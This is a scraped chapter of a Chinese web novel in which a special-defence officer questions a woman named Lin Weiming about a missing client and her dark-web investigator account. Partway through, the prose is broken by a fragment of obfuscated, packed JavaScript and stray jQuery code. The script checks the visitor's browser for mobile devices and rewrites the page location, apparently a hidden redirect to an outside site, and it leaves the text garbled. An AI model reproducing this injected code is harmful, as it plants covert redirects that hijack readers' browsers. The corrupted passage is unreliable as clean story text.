上面写着“特防部-机动作战司-零号小组-中级特防官-孟燃真”。
那张证件照上穿着黑西装的人脸上还有些稚嫩,但满眼认真,同她面前的简直判若两人。
孟燃真收回了证件:“如果对我的身份有所怀疑,可以致电特防部办公厅查询编号。”
“我不怀疑。”林薇明摇了摇头,“冒充安管员的人很多,但敢假冒特防官的人没几个。”
只是特防部的人来找她干什么?难道她伪造的这个身份被发现了?
林薇明抬起头,小心翼翼地开口:“请问……我犯了什么事?”
孟燃真被她的反应给逗笑了:“林女士,你误会了,特防部找你只是想问点问题。”
他看了眼林薇明家紧闭的房门:“只是事情需要保密,需要一个绝对安静的地方同你谈话。”
林薇明会意地转过身开锁,暗地里松了……半口气。
她还不知道特防部想找她调查些什么。
还好,除了藏在卧室里的充电舱,客厅里没有什么会暴露她身份的东西。
林薇明把孟燃真请进了屋,坐下几秒钟不到的时间,孟燃真就转过手机,屏幕向她。
上面是一个中年男人的照片。
“我就开门见山了。”他说,“照片上的人叫苏峰,38岁,他是郝氏医药的会计,林女士应该认识他。”
林薇明点了点头:“认识。”
不仅认识,苏峰还欠了她委托的尾款。
“苏峰已经失踪一周了,经安管局调查,在会计的本职工作以外,他还有采集零素结晶的副业。”孟燃真探询的目光定在林薇明的脸上,“失踪当天,他委托你作为引路人带他进入息壤,寻找合适的采集点,之后音信全无。林女士,可以说说当天发生的事吗?”
委托人失踪了?她还成了最后一个见过他的人。
林薇明:“我将他带到采集位点,一直等到他采集完成,就领着他出了息壤,之后就分开了,没发生什么特别的事。”
“他在这之后,还有可能去别的地方吗?”
林薇明答:“我离开的时候,好像听见他在同别人联系,但我只是隐约听见他说到时间地点,我猜想是在和买主商量什么时候交货。”
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002897|178317||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
>“好,我知道了。”孟燃真伸手在手机上划拉了两下,“还有些细节问题要问你,请如实作答。”
林薇明也别无选择,与人类交往本就是她的弱项,加之人类的心思非常复杂,她不可能猜透一个初次见面的特防官。
孟燃真看起来很友善,但她也被这样的人骗到身无分文过。
“有关苏峰失踪的案件,就问到这里了。”
话是这么说,但林薇明看他没有要走的意思。
她低头盯着自己的脚尖,耳边又响起了孟燃真的声音。
“林女士?”
她猛然抬起头,眼前的屏幕上是她再熟悉不过的暗网“灯塔”黑蓝相间的界面。
再往下看,一个名为“0012”的账户资料一览无余。
“这是你的业余调查员账号?”孟燃真问,那柔和的笑意尚未消散。
林薇明所答非所问:“二十年前,我父亲丧生在归尘的次生灾害中。刚成年的时候,我母亲也去世了,我独自一人实在是……”